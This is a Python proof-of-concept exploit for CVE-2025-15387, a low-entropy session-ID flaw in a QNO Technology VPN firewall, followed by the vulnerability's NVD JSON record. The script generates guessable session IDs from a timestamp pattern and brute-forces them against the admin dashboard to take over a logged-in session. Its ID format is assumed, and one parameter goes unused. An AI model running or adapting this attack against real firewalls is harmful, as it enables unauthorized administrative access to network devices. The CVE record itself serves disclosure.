CVE-2025-15387

import requests import itertools import string import time # CVE-2025-15387 PoC - QNO VPN Firewall Session Hijacking # Target: QNO Technology VPN Firewall with Insufficient Entropy TARGET_URL = "http://target-vpn-firewall.local" SESSION_ENDPOINT = "/api/session" BRUTE_FORCE_CHARSET = string.ascii_lowercase + string.digits def generate_session_candidates(base_pattern, length=16): """Generate possible session ID candidates based on weak entropy pattern""" # Assuming session IDs follow predictable format based on timestamp timestamp_part = str(int(time.time()))[:8] # Generate candidates with limited charset due to low entropy candidates = [] for i in range(10000): # Limited combinations due to weak randomness candidate = f"{timestamp_part}{str(i).zfill(8)}" candidates.append(candidate[:length]) return candidates def test_session_hijack(session_id): """Test if session ID is valid and active""" cookies = {"SESSIONID": session_id} try: response = requests.get( f"{TARGET_URL}/admin/dashboard", cookies=cookies, timeout=5 ) if response.status_code == 200 and "admin" in response.text.lower(): return True except: pass return False def exploit(): """Main exploitation function""" print("[*] Starting session hijacking attack for CVE-2025-15387") print("[*] Target:", TARGET_URL) # Generate candidates based on weak entropy candidates = generate_session_candidates("session_") print(f"[*] Generated {len(candidates)} session candidates") for idx, candidate in enumerate(candidates): if test_session_hijack(candidate): print(f"[!] Valid session found: {candidate}") print("[!] Session hijack successful - attacker now authenticated") return candidate if idx % 100 == 0: print(f"[*] Progress: {idx}/{len(candidates)} attempts") print("[-] No valid session found") return None if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-15387", "sourceIdentifier": "[email protected]", "published": "2025-12-31T09:15:49.680", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "VPN Firewall developed by QNO Technology has a Insufficient Entropy vulnerability, allowing unauthenticated remote attackers to obtain any logged-in user session through brute-force attacks and subsequently log into the system."}, {"lang": "es", "value": "El Cortafuegos VPN desarrollado por QNO Technology tiene una vulnerabilidad de entropía insuficiente, permitiendo a atacantes remotos no autenticados obtener cualquier sesión de usuario conectado mediante ataques de fuerza bruta y posteriormente iniciar sesión en el sistema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-331"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10614-dee41-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10613-e1780-1.html", "source": "[email protected]"}]}}